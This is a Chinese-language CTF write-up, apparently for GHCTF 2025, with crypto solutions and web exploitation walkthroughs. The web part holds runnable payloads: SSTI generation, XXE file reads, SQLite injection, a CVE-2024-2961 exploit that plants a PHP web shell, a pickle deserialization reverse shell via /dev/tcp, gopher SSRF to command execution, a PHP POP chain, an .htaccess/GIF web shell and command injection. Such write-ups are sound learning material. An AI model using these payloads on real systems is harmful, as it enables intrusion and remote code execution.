然后是熟悉的DSA ，去年的国城杯CTF 也接触过一题，不过那题是关系k攻击(k2=k1^2)，这题是 线性k攻击(k2=k1+ink) ，还是参考的这篇博客
from Crypto.Util.number import *import hashlibfrom Crypto.Cipher import AESh = int (hashlib.sha256(b'GHCTF-2025' ).digest().hex (), 16 ) c_ink = 75517502692097831363443739147565176367247985201143975453326891807623085586665800338505194812511215986799510259417486636115714543892322380908775898968005967267154089356401466517827082639942650711458196552847137272733225451581167527549711435805194039361007506436462393605949663173972848316802086005675594122447 e = 97127528017076464922170978933159739328499830874876612140194720448608536284451056980759925228574802703400503852897647806707933102198339936307176078592550748707182506634151382952065240918923594664309561466538540752851827183955776181255541306419282376724578231110985180090748520497985751591062886932254909959583 N = 131342286566556880877092331187418465653855813425966929864425381510875531237549624989644814104311810243468058174748867544024292263674725375273146689145421426693384862215460097683187892351130513429928063652701077721570140977719823754701988835199434602294597102748436781125528389125846980183998136743830655746063 (r1, s1) = (116607429176396769010327954525649019081679807573 , 242024511677350537268048640408155954695100314686 ) (r2, s2) = (282969697665204582571637561594660002955972273916 , 233488943967710383661411268886726155900968304282 ) g = 113752591438136097752416877421595518178059067044406008965947486693591255247711343925741016027611310257564826355221058212913879375956265361413159461801130112690842862767232535007802294944943540511148985219047761964228666223605898858379133610079745082176804146052086680551043775640630819062323009071190616231206 q = 1010682595723348988315901923086844563134854720501 p = 117574623402990360322255542120443410701206393780334500865748478770699335257408652117586356058603035930256320433146236288486738066821845146885689024168044244453298677322763816219621376364185484753693835156465778487436550070788009331605135011517651578548403565196930955818239577581944709384126001757349228062611 y = 114719310327856435690312712426667059528255758467780345974417610618467568889317865434557927492426543544900066735337367408842750916882737134575812646864528120528284507025781167314123831868039617392195979751697057669675359335622753482920688147222344801914086866640706838774098397923450797553056502975678740968481 ciphertext = b'\x10\xbcL|\xcb\xe5W\x1e0\xa3\x83\x85vr^SmU\xac\xe3L\x93"#\xb4\x81\xd0\xf0S\x05\xb7\xc7' def continuedFra (x, y ): cf = [] while y: cf.append(x // y) x, y = y, x % y return cf def gradualFra (cf ): numerator = 0 denominator = 1 for x in cf[::-1 ]: numerator, denominator = denominator, x * denominator + numerator return numerator, denominator def getGradualFra (cf ): gf = [] for i in range (1 , len (cf) + 1 ): gf.append(gradualFra(cf[:i])) return gf def wienerAttack (e, n ): res = [] cf = continuedFra(e, n) gf = getGradualFra(cf) for d, k in gf: if d.bit_length() == 200 : res.append(d) return res d = wienerAttack(e, N) for i in d: ink = pow (c_ink, i, N) k = (h*r2 - h*r1 + ink*s2*r1) * inverse(s1*r2 - s2*r1, q) % q pri = (k*s1 - h) * inverse(r1, q) % q key = hashlib.sha1(str (pri).encode()).digest()[:16 ] cipher = AES.new(key, AES.MODE_ECB) flag = cipher.decrypt(ciphertext) if b'NSSCTF' in flag: print (flag.decode()) break
from Crypto.Util.number import bytes_to_longprint ((2 * sin((m := bytes_to_long(b'NSSCTF{test_flag}' ))) - 2 * sin(m) * cos(2 * m)).n(1024 ))''' m的值即为flag 0.002127416739298073705574696200593072466561264659902471755875472082922378713642526659977748539883974700909790177123989603377522367935117269828845667662846262538383970611125421928502514023071134249606638896732927126986577684281168953404180429353050907281796771238578083386883803332963268109308622153680934466412 '''
这题让我想起了SHCTF2024-week3-大学×高中√ 4 s i n 3 ( m ) 4sin^{3}(m) 4 s i n 3 ( m )
因为我们不知道flag的长度，所以格最后一列的大系数得测试一下(拿SH那题测)，发现大概是flag位数的两倍 这样就能出
from Crypto.Util.number import *leak = 0.002127416739298073705574696200593072466561264659902471755875472082922378713642526659977748539883974700909790177123989603377522367935117269828845667662846262538383970611125421928502514023071134249606638896732927126986577684281168953404180429353050907281796771238578083386883803332963268109308622153680934466412 leak = (leak / 4 )^(1 /3 ) asin = arcsin(leak) RF = RealField(1024 ) pi = RF(pi) for i in range (1 ,1000 ): k = i*8 k0 = k*2 M = Matrix(QQ,[[1 ,0 ,2 ^k0],[0 ,2 ^k,2 ^k0*asin],[0 ,0 ,2 ^k0*2 *pi]]) m = abs (M.LLL()[0 ][0 ]) flag = long_to_bytes(int (m)) if b'NSSCTF' in flag: print (i) print (flag.decode()) break
from Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom hashlib import md5from secret import flag, seed, maskclass 踩踩背 : def __init__ (self, n, seed, mask, lfsr=None ): self.state = [int (b) for b in f"{seed:0 {n} b}" ] self.mask_bits = [int (b) for b in f"{mask:0 {n} b}" ] self.n = n self.lfsr = lfsr def update (self ): s = sum ([self.state[i] * self.mask_bits[i] for i in range (self.n)]) & 1 self.state = self.state[1 :] + [s] def __call__ (self ): if self.lfsr: if self.lfsr(): self.update() return self.state[-1 ] else : self.update() return self.state[-1 ] class 奶龙 (踩踩背 ): def __init__ (self, n, seed, mask ): super ().__init__(n, seed, mask, lfsr=None ) n = 64 assert seed.bit_length == mask.bit_length == nlfsr1 = 奶龙(n, seed, mask) lfsr2 = 踩踩背(n, seed, mask, lfsr1) print (f"mask = {mask} " )print (f"output = {sum (lfsr2() << (n - 1 - i) for i in range (n))} " )print (f"enc = {AES.new(key=md5(str (seed).encode()).digest(), mode=AES.MODE_ECB).encrypt(pad(flag, 16 ))} " )
这题就没仔细研究，不好打，当时看着三解，最后五解，就摆了
还是Csome那句话，在这CINTA是基础，Sagemath是工具，糖醋小鸡块的blog是弹药库(狗头)
import osimport refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirectfrom werkzeug.utils import secure_filenameimport osfrom werkzeug.utils import secure_filenameapp = Flask(__name__) UPLOAD_FOLDER = 'static/uploads' ALLOWED_EXTENSIONS = {'txt' , 'log' , 'text' ,'md' ,'jpg' ,'png' ,'gif' } MAX_CONTENT_LENGTH = 16 * 1024 * 1024 app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH' ] = MAX_CONTENT_LENGTH os.makedirs(UPLOAD_FOLDER, exist_ok=True ) def is_safe_path (basedir, path ): return os.path.commonpath([basedir,path]) def contains_dangerous_keywords (file_path ): dangerous_keywords = ['_' , 'os' , 'subclasses' , '__builtins__' , '__globals__' ,'flag' ,] with open (file_path, 'rb' ) as f: file_content = str (f.read()) for keyword in dangerous_keywords: if keyword in file_content: return True return False def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/' , methods=['GET' , 'POST' ] def upload_file (): if request.method == 'POST' : if 'file' not in request.files: return jsonify({"error" : "未上传文件" }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({"error" : "请选择文件" }), 400 if file and allowed_file(file.filename): filename = secure_filename(file.filename) save_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) file.save(save_path) return jsonify({ "message" : "File uploaded successfully" , "path" : os.path.abspath(save_path) }), 200 else : return jsonify({"error" : "文件类型错误" }), 400 return ''' <!doctype html> <title>Upload File</title> <h1>Upload File</h1> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' @app.route('/file/<path:filename>' def view_file (filename ): try : safe_filename = secure_filename(filename) if not safe_filename: abort(400 , description="无效文件名" ) file_path = os.path.join(app.config['UPLOAD_FOLDER' ], safe_filename) if not is_safe_path(app.config['UPLOAD_FOLDER' ], file_path): abort(403 , description="禁止访问的路径" ) if not os.path.isfile(file_path): abort(404 , description="文件不存在" ) suffix=os.path.splitext(filename)[1 ] print (suffix) if suffix==".jpg" or suffix==".png" or suffix==".gif" : return send_from_directory("static/uploads/" ,filename,mimetype='image/jpeg' ) if contains_dangerous_keywords(file_path): os.remove(file_path) return jsonify({"error" : "Waf!!!!" }), 400 with open (file_path, 'rb' ) as f: file_data = f.read().decode('utf-8' ) tmp_str = """<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>查看文件内容</title> </head> <body> <h1>文件内容：{name}</h1> <!-- 显示文件名 --> <pre>{data}</pre> <!-- 显示文件内容 --> <footer> <p>© 2025 文件查看器</p> </footer> </body> </html> """ .format (name=safe_filename, data=file_data) return render_template_string(tmp_str) except Exception as e: app.logger.error(f"文件查看失败: {str (e)} " ) abort(500 , description="文件查看失败:{} " .format (str (e))) @app.errorhandler(404 def not_found (error ): return {"error" : error.description}, 404 @app.errorhandler(403 def forbidden (error ): return {"error" : error.description}, 403 if __name__ == '__main__' : app.run("0.0.0.0" ,debug=False )
文件上传+SSTI return，所以我们选择其他后缀ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
if suffix==".jpg" or suffix==".png" or suffix==".gif" : return send_from_directory("static/uploads/" ,filename,mimetype='image/jpeg' )
然后我们借助我们的老朋友fenjing 跑一个payload 出来
from fenjing import exec_cmd_payload, config_payloadimport logginglogging.basicConfig(level=logging.INFO) def waf (s: str ): blacklist = ['_' , 'os' , 'subclasses' , '__builtins__' , '__globals__' , 'flag' ] return all (word not in s for word in blacklist) if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "cat /flag" ) print (f"{shell_payload=} " )
然后就是抓包改一个文件名xxx.md，内容为上面的payload，之后访问/file/xxx.md
无过滤xxe curl -X POST http://node2.anna.nssctf.cn:28796/ghctf --data-urlencode 'xml=<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>'
id=1 order by 6判断列数为5，然后习惯性查database()，没查到，原来是sqlite注入 (题目算个提示)
id=1 union select 1,2,3,4,(select sql from sqlite_master)--，查到表名和列名
id=1 union select 1,2,3,4,(select group_concat(flag) from flag)--，查到数据
emmm，据说sqlmap的话要开--random-agent，好防，我好像也没跑出来
<?php show_source (__FILE__ ); if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { if ($_POST ['a' ] != $_POST ['b' ]) { if (is_string ($_POST ['a' ]) && is_string ($_POST ['b' ])) { echo file_get_contents ($_GET ['file' ]); } } } ?>
奇怪，网上找的字符串，强碰撞yakit,bp这些都发包不成功导致了读不到文件，然后下面是当时打SHCTF2024fastcoll 生成的文件
import requestswith open ("D:\\ctf-learning\\Misc_learning\\fastcoll\\sh_msg1.txt" , 'rb' ) as f: a = f.read() with open ("D:\\ctf-learning\\Misc_learning\\fastcoll\\sh_msg2.txt" , 'rb' ) as f: b = f.read() data = { 'a' : a, 'b' : b } url = "http://node2.anna.nssctf.cn:28002/?file=/etc/passwd" res = requests.post(url, data=data) print (res.text)
通过file_get_contents实现命令执行，可以参考这篇去年5月份就发的cve-2024-2961 ，然后是春秋杯夏季赛 ，说实话不关注这些东西，真不好在网上慢慢找
这里用到的是kezibei的脚本 cmd = "echo '<?php system($_GET[\"cmd\"]); ?>' > /var/www/html/shell.php"
这里我们需要有maps和libc.so(路径翻一下前者即可得到)文件(跟上面的脚本放在同一目录下即可)，前者直接下载复制保存即可，后者因为响应里面还有页面信息，而且内容较大，得保存到文件中，再删除掉文件前面的东西即可
url = "http://node2.anna.nssctf.cn:28002/?file=/proc/self/maps" res = requests.post(url, data=data) print (res.text)url = "http://node2.anna.nssctf.cn:28002/?file=/lib/x86_64-linux-gnu/libc-2.31.so" res = requests.post(url, data=data) with open ("D:\\ctf-learning\\CVE\\cve-2024-2961-LFI\\php-filter-iconv\\libc-2.31.so" , 'w' ) as f: f.write(res.content)
然后在有pwn环境的主机 中运行php-filter-iconv.py即可，我这里用的是wsl2+ubuntu22.04 ，把payload打入上面的exp，访问题目url/shell.php?cmd=cat /f *即可
看了官方wp，居然有非预期/docker-entrypoint.sh
#!/bin/bash if [ "$DASFLAG " ]; then INSERT_FLAG="$DASFLAG " elif [ "$FLAG " ]; then INSERT_FLAG="$FLAG " elif [ "$GZCTF_FLAG " ]; then INSERT_FLAG="$GZCTF_FLAG " else INSERT_FLAG="flag{TEST_Dynamic_FLAG}" fi echo $INSERT_FLAG > /f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellagsource /etc/apache2/envvarsecho "Running..." &tail -F /var/log/apache2/* &exec apache2 -D FOREGROUND
直接爆破admin 的密码得到admin123
POST参数发现可以任意文件读取 ，我们直接读源文件/app/app.py session_pickle
from flask import Flask, request, redirect, make_response,render_templatefrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingimport pickleimport hmacimport hashlibimport base64import timeimport osapp = Flask(__name__) def generate_key_iv (): key = os.environ.get('SECRET_key' ).encode() iv = os.environ.get('SECRET_iv' ).encode() return key, iv def aes_encrypt_decrypt (data, key, iv, mode='encrypt' ): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt' : encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt' : decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode() users = { "admin" : "admin123" , } def create_session (username ): session_data = { "username" : username, "expires" : time.time() + 3600 } pickled = pickle.dumps(session_data) pickled_data = base64.b64encode(pickled).decode('utf-8' ) key,iv=generate_key_iv() session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt' ) return session def dowload_file (filename ): path=os.path.join("static" ,filename) with open (path, 'rb' ) as f: data=f.read().decode('utf-8' ) return data def validate_session (cookie ): try : key, iv = generate_key_iv() pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt' ) pickled_data=base64.b64decode(pickled) session_data = pickle.loads(pickled_data) if session_data["username" ] !="admin" : return False return session_data if session_data["expires" ] > time.time() else False except : return False @app.route("/" ,methods=['GET' ,'POST' ] def index (): if "session" in request.cookies: session = validate_session(request.cookies["session" ]) if session: data="" filename=request.form.get("filename" ) if (filename): data=dowload_file(filename) return render_template("index.html" ,name=session['username' ],file_data=data) return redirect("/login" ) @app.route("/login" , methods=["GET" , "POST" ] def login (): if request.method == "POST" : username = request.form.get("username" ) password = request.form.get("password" ) if users.get(username) == password: resp = make_response(redirect("/" )) resp.set_cookie("session" , create_session(username)) return resp return render_template("login.html" ,error="Invalid username or password" ) return render_template("login.html" ) @app.route("/logout" def logout (): resp = make_response(redirect("/login" )) resp.delete_cookie("session" ) return resp if __name__ == "__main__" : app.run(host="0.0.0.0" ,debug=False )
通过create_session()函数，我们知道session数据 经过了pickle序列化 +base64编码 +AES加密
这里aes加解密需要key、iv ，而且是从环境变量 获取的，我们可以直接读/proc/self/environ ，得到
PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1 HOSTNAME=ab49bc3fc05a4391 PYTHON_VERSION=3.10.16 PWD=/app HOME=/root LANG=C.UTF-8 GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D FLAG=no_FLAG SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv SHLVL=1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SECRET_iv=asdwdggiouewhgpw _=/usr/local/bin/flask OLDPWD=/
参照题目脚本，挫一下exp，因为没有回显，所以直接读是读不出来的
下面有三种方向，反弹shell、覆盖/追加写、内存马
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingimport requestsimport base64import pickledef aes_encrypt (data, key, iv ): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() key = b'ajwdopldwjdowpajdmslkmwjrfhgnbbv' iv = b'asdwdggiouewhgpw' data = b'''(cos system S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"' o.''' data = b'''(cos system S'cat /flag* > /app/app.py' o.''' pickled_data = base64.b64encode(data).decode('utf-8' ) session = aes_encrypt(pickled_data, key, iv) url = 'http://node6.anna.nssctf.cn:24514/' res = requests.post(url, cookies={'session' : session}) print (res.text)
官方wp这里用的就是内存马
什么信息都收集不到，直接扫目录 ，拿到/app.py
from flask import Flask, request, send_file, render_template_stringimport osfrom urllib.parse import urlparse, urlunparseimport subprocessimport socketimport hashlibimport base64import randomapp = Flask(__name__) BlackList = [ "127.0.0.1" ] @app.route('/' def index (): return ''' ... ''' @app.route('/Login' , methods=['GET' , 'POST' ] def login (): junk_code() if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) if username in users and users[username]['password' ] == hashlib.md5(password.encode()).hexdigest(): return b64e(f"Welcome back, {username} !" ) return b64e("Invalid credentials!" ) return render_template_string("""...""" ) @app.route('/Gopher' def visit (): url = request.args.get('url' ) if url is None : return "No url provided :)" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "No (≧∇≦)" result = subprocess.run(["curl" , "-L" , urlunparse(url)], capture_output=True , text=True ) return result.stdout @app.route('/RRegister' , methods=['GET' , 'POST' ] def register (): junk_code() if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) if username in users: return b64e("Username already exists!" ) users[username] = {'password' : hashlib.md5(password.encode()).hexdigest()} return b64e("Registration successful!" ) return render_template_string("""...""" ) @app.route('/Manage' , methods=['POST' ] def cmd (): if request.remote_addr != "127.0.0.1" : return "Forbidden!!!" if request.method == "GET" : return "Allowed!!!" if request.method == "POST" : return os.popen(request.form.get("cmd" )).read() @app.route('/Upload' , methods=['GET' , 'POST' ] def upload_avatar (): junk_code() if request.method == 'POST' : username = request.form.get('username' ) if username not in users: return b64e("User not found!" ) file = request.files.get('avatar' ) if file: file.save(os.path.join(avatar_dir, f"{username} .png" )) return b64e("Avatar uploaded successfully!" ) return b64e("No file uploaded!" ) return render_template_string("""...""" ) @app.route('/app.py' def download_source (): return send_file(__file__, as_attachment=True ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
只需关注Gopher 和Manage 这两个路由，Gopher路由 这里就无法使用file://协议 直接实现读取，同时发现Manage路由 可以实现命令执行 os.popen(request.form.get("cmd")).read()
由于Gopher路由 可以处理进程 ，那么我们的思路就是通过Gopher路由 打SSRF 到Manage路由 ，从而实现命令执行
这里借助gopher://协议 实现SSRF
gopher协议是一个古老且强大的协议，可以理解为是http协议的前身，他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache，也可以进行 GET、POST 请求 很多时候在SSRF下，我们无法通过HTTP协议来传递POST数据，这时候就需要用到gopher协议来发起POST请求了 格式 URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流 注意不要忘记后面那个下划线"_" ，下划线"_" 后面才开始接TCP数据流，如果不加这个"_" ，那么服务端收到的消息将不是完整的，该字符可随意写
同时注意Gopher路由 这里还有解析 为127.0.0.1 的黑名单，下面有两种方式绕过
0 (缺省路由的写法也可以代表0.0 .0 .0 ) 0.0 .0 .0 都代表本地127. x.x.x 除了.1 都行，都是环回地址
构造Manage路由 的POST包 ，直接查看环境变量
POST /Manage HTTP/1.1 host:127.0.0.1 Content-Type:application/x-www-form-urlencoded Content-Length:7 cmd=env
题目代码中，result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)，因此我们这里需要二次URL编码 (也是gopher协议 的常见操作了)，同时题目代码这里也可以看见开放的是8000端口
payload如下：
/Gopher?url=gopher://0.0.0.0:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-form-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv
也发现了一个半自动化脚本吧
import urllib.parsepayload = "cmd=ls /" payload_len = len (payload) def http_to_gopher (http_request: str , host: str , port: int = 80 ): lines = http_request.split("\n" ) request_line = lines[0 ].split() method = request_line[0 ] path = request_line[1 ] headers = {} body = "" for line in lines[1 :]: if not line.strip(): continue if ":" in line: key, value = line.split(":" , 1 ) headers[key.strip()] = value.strip() else : body = line.strip() gopher_payload = f"{method} {path} HTTP/1.1\r\n" gopher_payload += f"Host: {host} :{port} \r\n" for key, value in headers.items(): gopher_payload += f"{key} : {value} \r\n" if body: gopher_payload += f"\r\n{body} " gopher_payload += "\r\n\r\n" double_encoded_payload = urllib.parse.quote(urllib.parse.quote(gopher_payload)) gopher_url = f"gopher://{host} :{port} /_{double_encoded_payload} " return gopher_url http_request = f"""POST /Manage HTTP/1.1 Host: 0.0.0.0:8000 Content-Type: application/x-www-form-urlencoded Content-Length: {payload_len} {payload} """ print (http_to_gopher(http_request, "0.0.0.0" , 8000 ))
<?php error_reporting (0 );class CherryBlossom public $fruit1 ; public $fruit2 ; public function __construct ($a $this ->fruit1 = $a ; } function __destruct ( echo $this ->fruit1; } public function __toString ( $newFunc = $this ->fruit2; return $newFunc (); } } class Forbidden private $fruit3 ; public function __construct ($string $this ->fruit3 = $string ; } public function __get ($name $var = $this ->$name ; $var [$name ](); } } class Warlord public $fruit4 ; public $fruit5 ; public $arg1 ; public function __call ($arg1 , $arg2 $function = $this ->fruit4; return $function (); } public function __get ($arg1 $this ->fruit5->ll2 ('b2' ); } } class Samurai public $fruit6 ; public $fruit7 ; public function __toString ( $long = @$this ->fruit6->add (); return $long ; } public function __set ($arg1 , $arg2 if ($this ->fruit7->tt2) { echo "xxx are the best!!!" ; } } } class Mystery public function __get ($arg1 array_walk ($this , function ($day1 , $day2 ) { $day3 = new $day2 ($day1 ); foreach ($day3 as $day4 ) { echo ($day4 . '<br>' ); } }); } } class Princess protected $fruit9 ; protected function addMe ( return "The time spent with xxx is my happiest time" . $this ->fruit9; } public function __call ($func , $args call_user_func ([$this , $func . "Me" ], $args ); } } class Philosopher public $fruit10 ; public $fruit11 ="sr22kaDugamdwTPhG5zU" ; public function __invoke ( if (md5 (md5 ($this ->fruit11)) == 666 ) { return $this ->fruit10->hey; } } } class UselessTwo public $hiddenVar = "123123" ; public function __construct ($value $this ->hiddenVar = $value ; } public function __toString ( return $this ->hiddenVar; } } class Warrior public $fruit12 ; private $fruit13 ; public function __set ($name , $value $this ->$name = $value ; if ($this ->fruit13 == "xxx" ) { strtolower ($this ->fruit12); } } } class UselessThree public $dummyVar ; public function __call ($name , $args return $name ; } } class UselessFour public $lalala ; public function __destruct ( echo "Hehe" ; } } if (isset ($_GET ['GHCTF' ])) { unserialize ($_GET ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
PHP反序列化，构造pop链
__construct 类的构造函数，在类实例化对象时自动调用构造函数 __destruct 类的析构函数，在对象销毁之前自动调用析构函数 __toString 当使用echo 或print 输出对象将对象转化为字符串形式时，会调用__toString ()方法 __get 当访问一个对象的不存在或不可访问的属性时自动调用，传递属性名作为参数 __call 调用不存在或不可见的成员方法时，PHP会先调用__call ()方法来存储方法名及其参数 __set ($property , $value ) 当给一个对象的不存在或不可访问(private 修饰)的属性赋值时自动调用，传递属性名和属性值作为参数__invoke 当将一个对象作为函数进行调用时自动调用
发现了原生类 ，new $day2($day1)，同时发现了遍历函数foreach() ，直接借助DirectoryIterator类 进行目录遍历 ，然后就是SplFileObject类 读取文件，其他能构造恶意代码的地方没找到
有了这个突破点，我们就可以逆回去，向上构造 ，看看哪个类可以触发__get()，发现Philosopher 有个hey属性 是不存在 的，那么现在要触发的是__invoke()，一般找的都是return xxx(); ，有两个，就CherryBlossom吧
pop链为：CherryBlossom:__destruct()->CherryBlossom::__toString()->Philosopher::__invoke()->Mystery::__get()
双重MD5绕过 ，php弱比较 中会截取字符串的数字，直至遇到字母截止，比如’11e33’，就会被读取为11，然后进行比较，改一下这个py2的脚本
import multiprocessingimport hashlibimport randomimport stringCHARS = string.ascii_letters + string.digits def cmp_md5 (substr, stop_event, str_len, start=0 , size=20 ): global CHARS while not stop_event.is_set(): rnds = '' .join(random.choice(CHARS) for _ in range (size)) value1 = hashlib.md5(rnds.encode()).hexdigest() if value1[start: start+str_len] == substr: value2 = hashlib.md5(value1.encode()).hexdigest() if value2[start: start+str_len] == substr: print (rnds + "=>" + value1 + "=>" + value2 + "\n" ) stop_event.set () if __name__ == '__main__' : substr = '666' start_pos = 0 str_len = len (substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range (cpus)] for p in processes: p.start() for p in processes: p.join()
可以跑得一个，O7it1qaAgBbfAL9OVPyO
至于怎么给day1,day2赋值，官方文档 有提及的，涉及到回调处理，day1为值，day2为键
为了减少代码，其实可以只保留需要的属性即可，效果是一样的，而且出题人居然塞了这么多无用的类进来，晕
<?php class CherryBlossom public $fruit1 ; public $fruit2 ; } class Mystery class Philosopher public $fruit10 ; public $fruit11 = "O7it1qaAgBbfAL9OVPyO" ; } $a = new CherryBlossom ();$a ->fruit1 = new CherryBlossom ();$a ->fruit1->fruit2 = new Philosopher ();$a ->fruit1->fruit2->fruit10 = new Mystery ();$a ->fruit1->fruit2->fruit10->SplFileObject = "/flag44545615441084" ;echo serialize ($a );
尝试了一下，题目对文件后缀和文件内容进行了过滤，然后上传一张gif的时候发现，GIF89a可以绕过检测
然后我们也可以知道题目用的是Apache服务器 ，再上传一个.htaccess使其按PHP文件解析
然后试多几次发现不限制尺寸 是无法上传的，参考博客
.htaccess
<FilesMatch ".gif" > SetHandler application/x-httpd-php </FilesMatch>
shell.gif
GIF89a <?php eval ($_GET [1 ]);?>
访问/images/shell.gif?1=system("cat /flag");
<?php highlight_file (__FILE__ );class ConfigLoader private $config ; public function __construct ( $this ->config = [ 'debug' => true , 'mode' => 'production' , 'log_level' => 'info' , 'max_input_length' => 100 , 'min_password_length' => 8 , 'allowed_actions' => ['run' , 'debug' , 'generate' ] ]; } public function get ($key return $this ->config[$key ] ?? null ; } } class Logger private $logLevel ; public function __construct ($logLevel $this ->logLevel = $logLevel ; } public function log ($message , $level = 'info' if ($level === $this ->logLevel) { echo "[LOG] $message \n" ; } } } class UserManager private $users = []; private $logger ; public function __construct ($logger $this ->logger = $logger ; } public function addUser ($username , $password if (strlen ($username ) < 5 ) { return "Username must be at least 5 characters" ; } if (strlen ($password ) < 8 ) { return "Password must be at least 8 characters" ; } $this ->users[$username ] = password_hash ($password , PASSWORD_BCRYPT); $this ->logger->log ("User $username added" ); return "User $username added" ; } public function authenticate ($username , $password if (isset ($this ->users[$username ]) && password_verify ($password , $this ->users[$username ])) { $this ->logger->log ("User $username authenticated" ); return "User $username authenticated" ; } return "Authentication failed" ; } } class StringUtils public static function sanitize ($input return htmlspecialchars ($input , ENT_QUOTES, 'UTF-8' ); } public static function generateRandomString ($length = 10 return substr (str_shuffle (str_repeat ($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' , ceil ($length / strlen ($x )))), 1 , $length ); } } class InputValidator private $maxLength ; public function __construct ($maxLength $this ->maxLength = $maxLength ; } public function validate ($input if (strlen ($input ) > $this ->maxLength) { return "Input exceeds maximum length of {$this->maxLength} characters" ; } return true ; } } class CommandExecutor private $logger ; public function __construct ($logger $this ->logger = $logger ; } public function execute ($input if (strpos ($input , ' ' ) !== false ) { $this ->logger->log ("Invalid input: space detected" ); die ('No spaces allowed' ); } @exec ($input , $output ); $this ->logger->log ("Result: $input " ); return implode ("\n" , $output ); } } class ActionHandler private $config ; private $logger ; private $executor ; public function __construct ($config , $logger $this ->config = $config ; $this ->logger = $logger ; $this ->executor = new CommandExecutor ($logger ); } public function handle ($action , $input if (!in_array ($action , $this ->config->get ('allowed_actions' ))) { return "Invalid action" ; } if ($action === 'run' ) { $validator = new InputValidator ($this ->config->get ('max_input_length' )); $validationResult = $validator ->validate ($input ); if ($validationResult !== true ) { return $validationResult ; } return $this ->executor->execute ($input ); } elseif ($action === 'debug' ) { return "Debug mode enabled" ; } elseif ($action === 'generate' ) { return "Random string: " . StringUtils ::generateRandomString (15 ); } return "Unknown action" ; } } if (isset ($_REQUEST ['action' ])) { $config = new ConfigLoader (); $logger = new Logger ($config ->get ('log_level' )); $actionHandler = new ActionHandler ($config , $logger ); $input = $_REQUEST ['input' ] ?? '' ; echo $actionHandler ->handle ($_REQUEST ['action' ], $input ); } else { $config = new ConfigLoader (); $logger = new Logger ($config ->get ('log_level' )); $userManager = new UserManager ($logger ); if (isset ($_POST ['register' ])) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; echo $userManager ->addUser ($username , $password ); } if (isset ($_POST ['login' ])) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; echo $userManager ->authenticate ($username , $password ); } $logger ->log ("No action provided, running default logic" ); } [LOG] No action provided, running default logic
可以很快地找到关键代码
class CommandExecutor private $logger ; public function __construct ($logger $this ->logger = $logger ; } public function execute ($input if (strpos ($input , ' ' ) !== false ) { $this ->logger->log ("Invalid input: space detected" ); die ('No spaces allowed' ); } @exec ($input , $output ); $this ->logger->log ("Result: $input " ); return implode ("\n" , $output ); } }
然后，触发点在
if ($action === 'run' ) { $validator = new InputValidator ($this ->config->get ('max_input_length' )); $validationResult = $validator ->validate ($input ); if ($validationResult !== true ) { return $validationResult ; } return $this ->executor->execute ($input ); }
除了input参数不能出现空格，貌似没什么其他需要注意的地方了，直接/?action=run&input=ls${IFS}/
